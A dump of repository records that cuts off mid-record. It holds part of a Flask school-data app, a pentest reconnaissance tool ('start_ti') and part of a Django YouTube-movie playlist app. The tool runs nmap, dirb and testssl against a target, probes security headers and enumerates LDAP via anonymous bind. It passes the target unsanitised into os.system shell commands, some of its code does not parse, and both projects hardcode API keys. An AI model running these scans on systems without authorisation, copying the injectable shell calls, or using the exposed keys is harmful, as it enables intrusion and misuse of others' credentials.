render_template('dashboard.html')\n\n\n\[email protected]('/cities')\ndef cities():\n \"\"\"Return a list of cities.\"\"\"\n results = session.query(School_Data.city).distinct()\n return jsonify(list(results))\n\[email protected]('/schools/<city>')\ndef schools(city):\n \"\"\"Return a list of schools of the selected city.\"\"\"\n results = session.query(School_Data.school_name).\\\n filter(School_Data.city == city).all()\n return jsonify(list(results))\n\[email protected]('/metadata/<city>')\ndef city_metadata(city):\n \"\"\"Return the MetaData for a given city.\"\"\"\n sel = [School_Data.city, School_Data.enrollment,\n School_Data.graderange, School_Data.phone,\n School_Data.school_name, School_Data.school_type,\n School_Data.website]\n\n results = session.query(*sel).\\\n filter(School_Data.city == city).all()\n\n # Create a dictionary entry for each row of metadata information\n city_metadata = {}\n for result in results:\n city_metadata['city'] = result[0]\n city_metadata['enrollment'] = result[1]\n city_metadata['graderange'] = result[2]\n city_metadata['phone'] = result[3]\n city_metadata['school_name'] = result[4]\n city_metadata['school_type'] = result[5]\n city_metadata['website'] = result[6]\n\n return jsonify(city_metadata)\n\n\[email protected]('/rating/<city>')\ndef city_rating(city):\n \"\"\"Return the city as a number.\"\"\"\n\n results = session.query(School_Data.parentrating).\\\n filter(School_Data.sid == \"5af7493818e4261b6296a900\").all()\n rating = np.ravel(results)\n\n # Return only the first integer value for washing frequency\n return jsonify(int(rating[0]))\n\nif __name__ == \"__main__\":\n app.run(debug=True)" } ]
4
ApoStroFr/start_ti
https://github.com/ApoStroFr/start_ti
6f337e45a988d9e910976afabf8726703cf83c8d
332da9751ef6fb2bcbc91e855f2d06ca798e83c6
b6e8a713107079581585546a86008a86d65152b4
refs/heads/master
2022-12-29T00:12:37.534805
2020-10-21T15:29:55
2020-10-21T15:29:55
299,861,567
0
0
null
2020-09-30T08:50:57
2020-10-21T15:26:32
2020-10-21T15:29:56
Shell
[ { "alpha_fraction": 0.6989011168479919, "alphanum_fraction": 0.6989011168479919, "avg_line_length": 27.4375, "blob_id": "6a5b6a1bce339a737457b1674c6b4ef8cd300cf1", "content_id": "32c01f326bb92f30cf9b5120ba148ec3662e9b0d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 455, "license_type": "no_license", "max_line_length": 65, "num_lines": 16, "path": "/src/project.py", "repo_name": "ApoStroFr/start_ti", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nimport os\n\ndef create(path):\n\n\tif not os.path.exists(path):\n\t\tos.mkdir(path)\n\t\tprint('Projet directory created at'+path)\n\telse:\n\t\tprint('Project already created ! \\nPick another project name.')\n\tif not os.path.exists(path+'/nmap_result'):\n\t\tos.mkdir(path+'/nmap_result')\n\tif not os.path.exists(path+'/dirbuster_result'):\n\t\tos.mkdir(path+'/dirbuster_result')\n\tif not os.path.exists(path+'/ssl_result'):\n\t\tos.mkdir(path+'/ssl_result')\n" }, { "alpha_fraction": 0.6742857098579407, "alphanum_fraction": 0.6928571462631226, "avg_line_length": 20.24242401123047, "blob_id": "d30efed23c430ed0cc33d89524aea867073e804a", "content_id": "7b2a9723adc005206b51fe0471cd7eafb8a91d42", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 700, "license_type": "no_license", "max_line_length": 69, "num_lines": 33, "path": "/Vulns_check/ldap_bind.py", "repo_name": "ApoStroFr/start_ti", "src_encoding": "UTF-8", "text": "import ldap3\nimport re\n\nnameContext=[]\naddContext=False\nip='127.0.0.1'\nport=389\nssl=False\nserver=ldap3.Server(ip, get_info = ldap3.ALL, port=port, use_ssl=ssl)\nconnection=ldap3.Connection(server)\nconnection.bind()\ninfo=str(server.info)\n\nwith open(\"../logs/ldap_bind.log\", \"w\") as f:\n\tf.write(info)\nwith open(\"../logs/ldap_bind.log\",\"r\") as f:\n\tfor line in f:\n\t\tif not addContext:\n\t\t\tif re.match(\"^.+Naming contexts:\",line):\n\t\t\t\taddContext=True\n\t\t\t\tpass\n\t\t\telse :\n\t\t\t\tpass\n\t\telif re.match(\"^.+Supported controls:\",line):\n\t\t\taddContext=False\n\t\t\tpass\n\t\telse :\n\t\t\tnameContext.append(line)\n\t\t\tpass\n\nfor i in nameContext:\n\tprint(connection.search(nameContext, '(objectclass=*)'))\n\tprint(connection.entries)" }, { "alpha_fraction": 0.623711347579956, "alphanum_fraction": 0.6275773048400879, "avg_line_length": 21.171428680419922, "blob_id": "214d494a8a0bf7e589d9ddb9f0b1b12f64a1e599", "content_id": "3b2a85c9bbc6ce5d7f0314fec1787ea76a9b0268", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 776, "license_type": "no_license", "max_line_length": 65, "num_lines": 35, "path": "/start_ti.py", "repo_name": "ApoStroFr/start_ti", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport sys\nfrom src import project,target\n\n\nprotocole=\"https\"\nssl=True\ndirb=True\nnmap=True\ncompteur = 0\nfor i in sys.argv:\n\tcompteur+=1\n\tprint(i) \n\tif i == \"-p\" or i == \"--project\":\n\t\tpath = sys.argv[compteur]\n\tif e == \"-i\" or i ==\"--internal:\n\t\tprint('intialize internal pentest, look for metasploit python')\n\tif \ti == \"-u\" or i == \"--url\":\n\t\turl = sys.argv[compteur]\n\tif i == \"-P\" or i == \"--Protocol\":\n\t\tprotocole = sys.argv[compteur]\n\t\tif not protocole == \"http\" or protocole == \"https\":\n\t\t\tprint(\"error argument\")\n\t\t\texit()\n\tif i == \"--no-ssl\":\n\t\tssl=False\n\tif i == \"--no-dirb\":\n\t\tdirb=False\n\tif i == \"--no-nmap\":\n\t\tnmap=False\n\nproject.create(path)\nmytarget=target.Target(url,path,protocole,ssl,dirb,nmap)\nmytarget.get_all()\n" }, { "alpha_fraction": 0.6806526780128479, "alphanum_fraction": 0.6822066903114319, "avg_line_length": 38.030303955078125, "blob_id": "3727210cd8e6c10f965c6feccb1949e29c673a9c", "content_id": "fd6e8657c73db5c81b64c41acec0d46de485d874", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1287, "license_type": "no_license", "max_line_length": 226, "num_lines": 33, "path": "/src/multithread_tests.py", "repo_name": "ApoStroFr/start_ti", "src_encoding": "UTF-8", "text": "from threading import Thread\nimport os\n\nclass Exec_test(Thread):\n\t\"\"\" Thread in charge of test several web-configuration\"\"\"\n\n\tdef __init__(self, test, target):\n\t\tThread.__init__(self)\n\t\tself.test = test\n\t\tself.target = target\n\n\tdef run(self):\n\t\tif self.test == \"testssl\":\n\t\t\tself.exec_testssl()\n\t\telif self.test == \"dirb\":\n\t\t\tself.exec_dirb()\n\t\telif self.test == \"nmap\":\n\t\t\tself.scan_nmap()\n\n\tdef exec_testssl(self):\n\t\tprint(\"[+] sslcompare is starting it work.\")\n\t\tos.system(\"bash sslcompare/testssl.sh/testssl.sh \"+self.target.protocol+\"://\"+self.target.target_name+\" > \"+self.target.project_name+\"/ssl_result/testssl_result 2> \"+self.target.project_name+\"/ssl_result/testssl_errors.log\")\n\t\tprint(\"[+] sslcompare has finished it works.\")\n\n\tdef exec_dirb(self):\n\t\tprint(\"[+] dirbuster starts it work.\")\n\t\tos.system(\"dirb \"+self.target.protocol+\"://\"+self.target.target_name+\" -o \"+self.target.project_name+\"/dirbuster_result/dirb_root_result -S > /dev/null 2> \"+self.target.project_name+\"/dirbuster_result/dirb_root_log\")\n\t\tprint(\"[+] dirbuster has finished it work.\")\n\n\tdef scan_nmap(self):\n\t\tprint(\"[+] nmap is strating it work.\")\n\t\tos.system(\"nmap -Pn -O -sV \"+self.target.target_name+\" >\"+self.target.project_name+\"/nmap_result/nmap_result\")\n\t\tprint(\"[+] nmap is strating it work.\")" }, { "alpha_fraction": 0.7174205183982849, "alphanum_fraction": 0.7183161377906799, "avg_line_length": 34.4603157043457, "blob_id": "36fbad8be971daf5da2a8f55c546f608531ab029", "content_id": "4fd93c43b202b9cd67764a478d4e91b5bc2705ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2233, "license_type": "no_license", "max_line_length": 321, "num_lines": 63, "path": "/src/best_practices.py", "repo_name": "ApoStroFr/start_ti", "src_encoding": "UTF-8", "text": "import re\n\nclass Switcher_h(object):\n\n\tdef __init__(self, headers_tested):\n\t\tself.not_bp_header = {\"X-Frame-Options\":\"Header missing\", \"X-XSS-Protection\":\"Header missing\", \"Date\":\"Header missing\", \"X-Content-Type-Options\":\"Header missing\", \"Content-Type\":\"Header missing\", \"Strict-Transport-Security\":\"Header missing\", \"Content-Security-Policy\":\"Header missing\", \"Cache-Control\":\"Header missing\"}\n\t\tself.headers_tested = headers_tested\n\n\tdef switch(self, header):\n\t\tmethod_name='case_'+re.sub(\"\\-+\", \"_\", header).lower()\n\t\ttry:\n\t\t\treturn getattr(self,method_name,lambda:\"\")(header)\n\t\texcept TypeError:\n\t\t\tpass;\n\n\t#Test le content de X-FRAME-OPTIONS\n\tdef case_x_frame_options(self, header):\n\t\tif self.headers_tested[header].lower() == \"deny\" or self.headers_tested[header].lower() == \"sameorigin\":\n\t\t\tself.not_bp_header.pop(\"X-Frame-Options\")\n\t\telse:\n\t\t\tself.not_bp_header[\"X-Frame-Options\"] = \"Bad implemenation, wrong value used\"\n\n\t#Test le content de X-XSS-PROTECTION\n\tdef case_x_xss_protection(self,header):\n\t\tif self.headers_tested[header] == \"1\" or self.headers_tested[header] == \"1; mode=block\":\n\t\t\tself.not_bp_header.pop('X-XSS-Protection')\n\t\telse:\n\t\t\tself.not_bp_header[\"X-XSS-Protection\"]=\"Bad implementation, wrong value used\"\n\n\n\t#Test le content de X-CONTENT-TYPE-OPTIONS\n\tdef case_x_content_type_options(self,header):\n\t\tself.not_bp_header.pop(\"X-Content-Type-Options\")\n\n\n\t#Test le content de STRICT-TRANSPORT-SECURITY\n\tdef case_strict_transport_security(self,header):\n\t\tself.not_bp_header.pop(\"Strict-Transport-Security\")\n\n\t#Test le content de STRICT-TRANSPORT-POLICY\n\tdef case_content_security_policy(self,header):\n\t\tself.not_bp_header.pop(\"Content-Security-Policy\")\n\n\t#Test le content de CACHE-CONTROL\n\tdef case_cache_control(self,header):\n\t\tself.not_bp_header.pop(\"Cache-Control\")\n\n\t#Test le content de SERVER\n\tdef case_server(self,header):\n\t\tself.not_bp_header[\"Server\"] = \"Information Leak\"\n\t\n\t#Test le content de X-POWERED-BY\n\tdef case_content_type(self,header):\n\t\tself.not_bp_header.pop(\"Content-Type\")\n\n\tdef case_x_powered_by(self,header):\n\t\tself.not_bp_header[\"X-Powered-By\"] = \"Information leak\"\n\n\tdef case_date(self, header):\n\t\tself.not_bp_header.pop(\"Date\")\n\n\tdef get_result(self):\n\t\treturn self.not_bp_header" }, { "alpha_fraction": 0.6933010220527649, "alphanum_fraction": 0.6957223415374756, "avg_line_length": 26.33823585510254, "blob_id": "7f6024b6825e98345d490e9d024b5da74a737e55", "content_id": "549c7510472ab384e657a1f1fcf70036b57a9d5f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3734, "license_type": "no_license", "max_line_length": 195, "num_lines": 136, "path": "/src/target.py", "repo_name": "ApoStroFr/start_ti", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nimport sys\nimport dns.resolver #pip install dnspython\nimport json\nimport requests\nimport os\nfrom src import best_practices as bp\nfrom src import multithread_tests as mt\nfrom pywhatcms import whatcms\nimport subprocess\n\n\n#Définition de la classe Target:\nclass Target(object):\n\t\"\"\"Classe définissant le site web cible. Il est caractérisé par:\n\t\t- Son noms au format URL\n\t\t- Son/ses adresses IPs\n\t\t- Méthodes HTTPs possibles\n\t\t- CMS utilisé\n\t\t- Headers utilisés\n\t\t- Project name\n\t\"\"\"\n\t#Constructeur\n\tdef __init__(self, target_name, project_name, protocol,ssl,dirb,nmap):\n\n\t\twhatcms_key='5355e8946fa80836c2c3d11cdfcd4ce52aeef5490c48c8ca11bbce15a6634fc413bacc'\n\t\tself.project_name = project_name\n\t\tself.target_name = target_name\n\t\tself.protocol = protocol\n\t\tself.ssl = ssl\n\t\tself.dirb = dirb\n\t\tself.nmap = nmap\n\n\t\tif self.ssl:\n\t\t\t#Initialisation et execution du multi.thread pour gagner du temps\n\t\t\tmt_testssl = mt.Exec_test(\"testssl\", self)\n\t\t\tmt_testssl.start()\n\n\n\t\tif self.dirb:\n\t\t\t#Initialisation et execition du multithread pour gagner du temps\n\t\t\tmt_dirb = mt.Exec_test(\"dirb\", self)\n\t\t\tmt_dirb.start()\n\n\n\t\tif self.nmap:\n\t\t\tmt_nmap = mt.Exec_test(\"nmap\", self)\n\t\t\tmt_nmap.start()\n\t\t\n\n\t\t\n\t\tself.ip = {}\n\n\n\t\t#Requète DNS pour trouver les @IPs\n\t\ttry:\n\t\t\tanswers_ipv4 = dns.resolver.query(self.target_name, 'A')\n\t\t\tcompteur = 0\n\t\t\tfor rdata in answers_ipv4:\n\t\t\t\tcompteur += 1\n\t\t\t\tself.ip[compteur]= rdata.address\n\t\texcept dns.resolver.NoAnswer:\n\t\t\tprint(\"*** No AAA record for \"+host+\" ***\")\n\t\texcept dns.resolver.NXDOMAIN:\n\t\t\tprint(\"*** The name\"+host+\" does not exist ***\")\n\n\t\t\n\t\t#Requêtes pour connaitre les Headers utilisés\n\t\t#selon les headers\n\t\treq_get = requests.get(self.protocol+\"://\"+self.target_name)\n\t\tself.headers_used = dict(req_get.headers)\n\n\t\t#Création d'un switcher qui vas tester les bonnes pratiques des Headers\n\t\ts = bp.Switcher_h(self.headers_used)\n\t\t\n\t\t#Pour chaque header du site, je teste si il utilisent les bonnes pratiques\n\t\tfor header in self.headers_used:\n\t\t\ts.switch(header)\n\n\t\t#J'écris le résultat dans un nouvel attribut\n\t\tself.headers_security_test = s.get_result()\n\n\n\n\t\t#Requète utilisant whatcms.org : utiliser sa propre API\n\t\twhatcms_key='5355e8946fa80836c2c3d11cdfcd4ce52aeef5490c48c8ca11bbce15a6634fc413bacc'\n\t\twhatcms = requests.get('https://whatcms.org/APIEndpoint/Detect?key='+whatcms_key+'&url='+self.target_name).json()\n\t\twhatcms.pop(\"request\")\n\t\twhatcms.pop(\"private\")\n\t\tself.cms_used = whatcms\n\n\t\t### PARTIE A REVOIR\n\t\t#req_opt = requests.options(\"https://\"+self.target_name)\n\t\treq_opt = requests.request('OPT',self.protocol+\"://\"+self.target_name)\n\t\tif req_opt.status_code == 200:\n\t\t\ttry:\n\t\t\t\tself.methodHTTP_allowed = req_opt.headers['Allow']\n\n\t\t\texcept:\n\t\t\t\tself.methodHTTP_allowed = 'OPT accepted, but no more information'\n\n\t\t\telse :\n\t\t\t\tself.methodHTTP_allowed = 'OPTIONS accepted, no information'\n\t\telse:\n\t\t\twith open('db/HTTP_statuscode.json') as json_file:\n\t\t\t\tHTTPsc = json.load(json_file)\n\t\t\t\tstatus_code_str = str(req_opt.status_code)\n\t\t\t\tself.methodHTTP_allowed = status_code_str+' - '+HTTPsc[status_code_str][\"title\"]\n\t\t### FIN DE PARTI A REVOIR\n\n\t\t#self.metthodHTTP_allowed = A AMELIORER\n\t\t#Créer un module qui indique quel type d'erreur corespond à quoi avec une fonction get_titel etc...\n\n\n\t\t#Exécute testssl > testssl_result\t\n\t\tos.system(\"python sslcompare/sslcompare.py -u \"+protocol+\"//\"+self.target_name+\" > \"+self.project_name+\"/ssl_result/sslcompare_result 2> \"+self.project_name+\"/ssl_result/sslcompare_errors.log\")\n\t\t#Multi-thread here\n\t\t#nmap\n\n\t\tif self.ssl:\n\t\t\t#Fin du multithread de testssl :\n\t\t\tmt_testssl.join()\n\n\t\tif self.dirb:\t\n\t\t\t# Fin du multithread de Dirbuster :\n\t\t\tmt_dirb.join()\n\n\t\tif self.nmap:\n\t\t\tmt_nmap.join()\n\t\t\n\n\t\n\tdef get_all(self):\n\t\tformated_json = json.dumps(self.__dict__, indent=4)\n\t\t#formated_json.pop(dirb,ssl)\n\t\tprint(formated_json)" }, { "alpha_fraction": 0.8125, "alphanum_fraction": 0.8125, "avg_line_length": 47, "blob_id": "31fe426960bfb1f5ec522876f9228d36864c524a", "content_id": "100dc20efea5ff3413f71026d9a260f6f581762e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 96, "license_type": "no_license", "max_line_length": 84, "num_lines": 2, "path": "/README.md", "repo_name": "ApoStroFr/start_ti", "src_encoding": "UTF-8", "text": "# start_ti\nThis program is used to initialize a pentest and get basic information about targets\n" } ]
7
manulangat1/Netflix-clone
https://github.com/manulangat1/Netflix-clone
88446ab9e2970901fea0faf5c04966b80aea9780
6c0f42da3163fbc578e6480e8e45c726f4189faf
a731c7a7c5819eed66321ed9ce3e5bea17aa1bf0
refs/heads/master
2023-01-21T02:25:47.958111
2020-08-02T20:41:33
2020-08-02T20:41:33
239,462,394
10
1
null
2020-02-10T08:30:34
2021-06-03T16:09:00
2023-01-07T14:46:04
Python
[ { "alpha_fraction": 0.5632563233375549, "alphanum_fraction": 0.5638063549995422, "avg_line_length": 28.819671630859375, "blob_id": "995778f02895728c102c003551b69e4d495052ad", "content_id": "37d6429ecc22f1cb8828aa37fe483ab3c2307a48", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1818, "license_type": "no_license", "max_line_length": 80, "num_lines": 61, "path": "/core/serializers.py", "repo_name": "manulangat1/Netflix-clone", "src_encoding": "UTF-8", "text": "from rest_framework import serializers\n\nfrom .models import PlayList,Movie,Profile\nfrom django.contrib.auth import get_user_model\nUser = get_user_model()\n\nclass MovieSerializer(serializers.ModelSerializer):\n class Meta:\n model = Movie\n fields = '__all__'\nclass PlayListSerializer(serializers.ModelSerializer):\n movies = serializers.SerializerMethodField()\n class Meta:\n model = PlayList\n fields = (\n 'id',\n 'name',\n 'movies'\n )\n def get_movies(self,obj):\n return MovieSerializer(obj.movies.all(),many=True).data\nclass ProfileSerializer(serializers.ModelSerializer):\n class Meta:\n model = Profile\n fields = (\n \"id\",\n \"bio\",\n )\n# class UserSerializer(serializers.HyperlinkedModelSerializer):\n# profile = ProfileSerializer()\n# class Meta:\n# model = User\n# depth = 1\n# fields = ('url', 'id', 'username', 'first_name', 'last_name', 'email',\n# 'is_superuser', 'is_staff', 'profile')\nclass UserSerializer(serializers.ModelSerializer):\n profile = ProfileSerializer()\n class Meta:\n model = User\n fields = (\n 'username',\n 'email',\n 'password',\n 'profile'\n )\n def create(self, validated_data):\n # create user \n user = User.objects.create(\n username = validated_data['username'],\n email = validated_data['email'],\n password = validated_data['password'],\n # etc ...\n )\n profile_data = validated_data.pop('profile')\n print(profile_data)\n profile = Profile.objects.create(\n user = user,\n bio = profile_data['bio']\n )\n profile.save()\n return user" }, { "alpha_fraction": 0.5292620658874512, "alphanum_fraction": 0.5826972126960754, "avg_line_length": 20.83333396911621, "blob_id": "f709280ac78d5b7bf84f5cf5fdc278e1b63098f6", "content_id": "47334f10bf006743a3e61d6cbb111c8433ca170d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 393, "license_type": "no_license", "max_line_length": 73, "num_lines": 18, "path": "/core/migrations/0002_playlist_name.py", "repo_name": "manulangat1/Netflix-clone", "src_encoding": "UTF-8", "text": "# Generated by Django 3.0.3 on 2020-02-10 17:55\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('core', '0001_initial'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='playlist',\n name='name',\n field=models.CharField(blank=True, max_length=40, null=True),\n ),\n ]\n" }, { "alpha_fraction": 0.7256097793579102, "alphanum_fraction": 0.7256097793579102, "avg_line_length": 80.5, "blob_id": "ae33afb18cd93de373eae685884e972680b7755e", "content_id": "e633eafa9e490c6ea92b8a3ef50ec6e9c7aadb60", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 164, "license_type": "no_license", "max_line_length": 145, "num_lines": 2, "path": "/README.md", "repo_name": "manulangat1/Netflix-clone", "src_encoding": "UTF-8", "text": "##### BY KIPCHIRCHIR LANGAT EMMANUEL \n***kindly note that the app is still in development hence not the full README.md file, will be updated after the react frontend is integrated.***\n\n" }, { "alpha_fraction": 0.7430394291877747, "alphanum_fraction": 0.7465197443962097, "avg_line_length": 42.125, "blob_id": "90f26b1b9acac905b483aef62bfede64dd181341", "content_id": "3f174d279d4eae3be6e75fe2025ef546e2d543ca", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1724, "license_type": "no_license", "max_line_length": 92, "num_lines": 40, "path": "/core/api.py", "repo_name": "manulangat1/Netflix-clone", "src_encoding": "UTF-8", "text": "from .serializers import MovieSerializer,PlayListSerializer,UserSerializer,ProfileSerializer\nfrom .models import PlayList,Movie\n\nfrom rest_framework import viewsets, mixins, permissions\nfrom rest_framework import status\nfrom rest_framework import generics\nfrom rest_framework.response import Response\nfrom rest_framework.response import Response\nfrom django.contrib.auth import get_user_model\nUser = get_user_model()\nclass MovieAPI(generics.ListAPIView):\n queryset = Movie.objects.all()\n serializer_class = MovieSerializer\nclass MoviesAPI(generics.CreateAPIView):\n queryset = Movie.objects.all()\n serializer_class = MovieSerializer\nclass PlayListAPI(generics.ListAPIView):\n queryset = PlayList.objects.all()\n serializer_class = PlayListSerializer\nclass MovieCreateAPI(generics.CreateAPIView):\n queryset = PlayList.objects.all()\n serializer_class = PlayListSerializer\n# class UserList(generics.ListCreateAPIView):\nclass UserList(viewsets.ModelViewSet):\n \"\"\"\n This viewset automatically provides `list` and `detail` actions.\n \"\"\"\n queryset = User.objects.all()\n serializer_class = UserSerializer\n # permission_classes = (permissions.IsAuthenticatedOrReadOnly,\n # IsSameUserAllowEditionOrReadOnly,)\n # permission_classes = (IsAuthenticatedOrWriteOnly,)\n # serializer_class = UserSerializer\n # queryset = User.objects.all()\n # def post(self, request, format=None):\n # serializer = UserSerializer(data=request.data)\n # if serializer.is_valid():\n # serializer.save()\n # return Response(serializer.data, status=status.HTTP_201_CREATED)\n # return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)" }, { "alpha_fraction": 0.6923579573631287, "alphanum_fraction": 0.70150226354599, "avg_line_length": 32.30434799194336, "blob_id": "d6fcefc98bec67267a6494a83479e4e04d69e5d9", "content_id": "5e98000af01076d45aef269b8b32bf030fc3f64c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1531, "license_type": "no_license", "max_line_length": 65, "num_lines": 46, "path": "/core/models.py", "repo_name": "manulangat1/Netflix-clone", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom django.contrib.auth import get_user_model\nfrom django.db.models.signals import post_save\nfrom django.dispatch import receiver\nUser = get_user_model()\n# Create your models here.\n\nclass BaseModel(models.Model):\n updated_at = models.DateTimeField(auto_now=True)\n created_at = models.DateTimeField(auto_now_add=True)\nclass Profile(BaseModel):\n user = models.OneToOneField(User,on_delete=models.CASCADE)\n bio = models.TextField(default=0)\n\n def __str__(self):\n return self.user.username\n @receiver(post_save, sender=User)\n def create_user_profile(sender, instance, created, **kwargs):\n if created:\n Profile.objects.create(user=instance)\n\n @receiver(post_save, sender=User)\n def save_user_profile(sender, instance, **kwargs):\n instance.profile.save()\nclass Movie(BaseModel):\n movie_id = models.CharField(max_length=50)\n movie_url = models.URLField()\n movie_thumbnail = models.CharField(max_length=200)\n movie_duration = models.PositiveIntegerField()\n movie_title = models.CharField(max_length=200)\n\n def __str__(self):\n return self.movie_title\nclass PlayList(BaseModel):\n name = models.CharField(max_length=40,null=True,blank=True)\n movies = models.ManyToManyField(Movie)\n\n def __str__(self):\n return self.name\nclass Category(BaseModel):\n name = models.CharField(max_length=100)\n desc = models.TextField()\n movies = models.ManyToManyField(Movie)\n\n def __str__(self):\n return self.name" }, { "alpha_fraction": 0.7857142686843872, "alphanum_fraction": 0.7857142686843872, "avg_line_length": 22.66666603088379, "blob_id": "6dd105aed2e8116a98da1b832ce576d380b10e2b", "content_id": "4553d8b92ddc872a80eef831f30400d9133159fe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 70, "license_type": "no_license", "max_line_length": 37, "num_lines": 3, "path": "/pytest.ini", "repo_name": "manulangat1/Netflix-clone", "src_encoding": "UTF-8", "text": "[pytest]\nDJANGO_SETTINGS_MODULE = mix.settings\npython_files = tests.py" }, { "alpha_fraction": 0.545537531375885, "alphanum_fraction": 0.5539830923080444, "avg_line_length": 34.33871078491211, "blob_id": "37378695206f9a6cd864720844bea79a0df112de", "content_id": "411d1833464e1f2aa641f69da14c13b8e1d46e5a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4381, "license_type": "no_license", "max_line_length": 109, "num_lines": 124, "path": "/core/views.py", "repo_name": "manulangat1/Netflix-clone", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nimport requests\nfrom django.http import HttpResponse\nfrom isodate import parse_duration\nfrom .models import Movie\nfrom django.shortcuts import get_object_or_404\n# Create your views here.\nAPI_KEY = \"AIzaSyDQnTT1O4JNvLBEWTaCj-65aAU4vQd7A_o\"\ndef index(request):\n print(requests)\n api_key = '517b0afadd7811dcb5094755c338f7aa'\n # r = requests.get(f'https://api.themoviedb.org/3/movie/550?api_key={ api_key}')\n r = requests.get(f'https://api.themoviedb.org/3/search/company?api_key={api_key}&query=brooklyn&page=1')\n print(r.json())\n return HttpResponse(\"Hello wolrd\")\ndef youtube(request):\n search_url = 'https://www.googleapis.com/youtube/v3/search'\n video_url = 'https://www.googleapis.com/youtube/v3/videos'\n search_params = {\n \"key\":API_KEY,\n 'q':'flask',\n 'part':'snippet',\n 'maxResults':9,\n 'type':'video'\n }\n r = requests.get(search_url,params =search_params)\n \n results =r.json()['items']\n video_ids = []\n for result in results:\n video_ids.append(result['id']['videoId'])\n # print(video_ids)\n video_params = {\n \"key\":API_KEY,\n 'id':','.join(video_ids),\n 'part':'snippet,contentDetails',\n 'maxResults': 9\n }\n r1 = requests.get(video_url,params=video_params)\n res1 =r1.json()['items']\n videos = []\n for res in res1:\n\n video_data = {\n 'id': res['id'],\n 'url': f\"https://www.youtube.com/watch?v={ res['id']}\",\n 'thumbnail': res['snippet']['thumbnails']['high']['url'],\n 'duration':int(parse_duration(res['contentDetails']['duration']).total_seconds() //60),\n 'title':res['snippet']['title'],\n }\n try:\n obj = Movie.objects.get(movie_id = res['id'])\n print(obj)\n except Movie.DoesNotExist:\n print(\"not there\")\n obj = Movie.objects.create(\n movie_id = res['id'],\n movie_url = f\"https://www.youtube.com/watch?v={ res['id']}\",\n movie_thumbnail = res['snippet']['thumbnails']['high']['url'],\n movie_duration = int(parse_duration(res['contentDetails']['duration']).total_seconds() //60),\n movie_title = res['snippet']['title'],\n )\n obj.save()\n # print(video_data)\n videos.append(video_data)\n print(videos)\n return HttpResponse(\"cd\")\ndef add_to_playlist(request):\n playlist = []\n movie = Movie.objects.get(movie_id = 'FW1LOP09RM8')\n print(movie.movie_url,movie.movie_title)\n playlist.append(movie)\n # print(playlist)\n return HttpResponse(\"cd\")\ndef save_youtube():\n search_url = 'https://www.googleapis.com/youtube/v3/search'\n video_url = 'https://www.googleapis.com/youtube/v3/videos'\n search_params = {\n \"key\":API_KEY,\n 'q':'flask',\n 'part':'snippet',\n 'maxResults':9,\n 'type':'video'\n }\n r = requests.get(search_url,params =search_params)\n \n results =r.json()['items']\n video_ids = []\n for result in results:\n video_ids.append(result['id']['videoId'])\n # print(video_ids)\n video_params = {\n \"key\":API_KEY,\n 'id':','.join(video_ids),\n 'part':'snippet,contentDetails',\n 'maxResults': 9\n }\n r1 = requests.get(video_url,params=video_params)\n res1 =r1.json()['items']\n videos = []\n for res in res1:\n\n video_data = {\n 'id': res['id'],\n 'url': f\"https://www.youtube.com/watch?v={ res['id']}\",\n 'thumbnail': res['snippet']['thumbnails']['high']['url'],\n 'duration':int(parse_duration(res['contentDetails']['duration']).total_seconds() //60),\n 'title':res['snippet']['title'],\n }\n try:\n obj = Movie.objects.get(movie_id = res['id'])\n print(obj)\n except Movie.DoesNotExist:\n print(\"not there\")\n obj = Movie.objects.create(\n movie_id = res['id'],\n movie_url = f\"https://www.youtube.com/watch?v={ res['id']}\",\n movie_thumbnail = res['snippet']['thumbnails']['high']['url'],\n movie_duration = int(parse_duration(res['contentDetails']['duration']).total_seconds() //60),\n movie_title = res['snippet']['title'],\n )\n obj.save()\n # print(video_data)\n videos.append(video_data)" }, { "alpha_fraction": 0.5137362480163574, "alphanum_fraction": 0.5686812996864319, "avg_line_length": 19.22222137451172, "blob_id": "65ac997c63dae2f8bf9317a111b493419c5bc51e", "content_id": "e2af0cf4f25c1cb65446676d214b3d28f5764689", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 364, "license_type": "no_license", "max_line_length": 47, "num_lines": 18, "path": "/core/migrations/0005_profile_bio.py", "repo_name": "manulangat1/Netflix-clone", "src_encoding": "UTF-8", "text": "# Generated by Django 3.0.3 on 2020-02-11 14:50\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('core', '0004_profile'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='profile',\n name='bio',\n field=models.TextField(default=0),\n ),\n ]\n" }, { "alpha_fraction": 0.8260869383811951, "alphanum_fraction": 0.8260869383811951, "avg_line_length": 27.875, "blob_id": "cd38a9c62800d5174ab70d895faa85acf3f573e9", "content_id": "7a4f30c716fabb15d74bc93ee295f359f4d71577", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 230, "license_type": "no_license", "max_line_length": 51, "num_lines": 8, "path": "/core/admin.py", "repo_name": "manulangat1/Netflix-clone", "src_encoding": 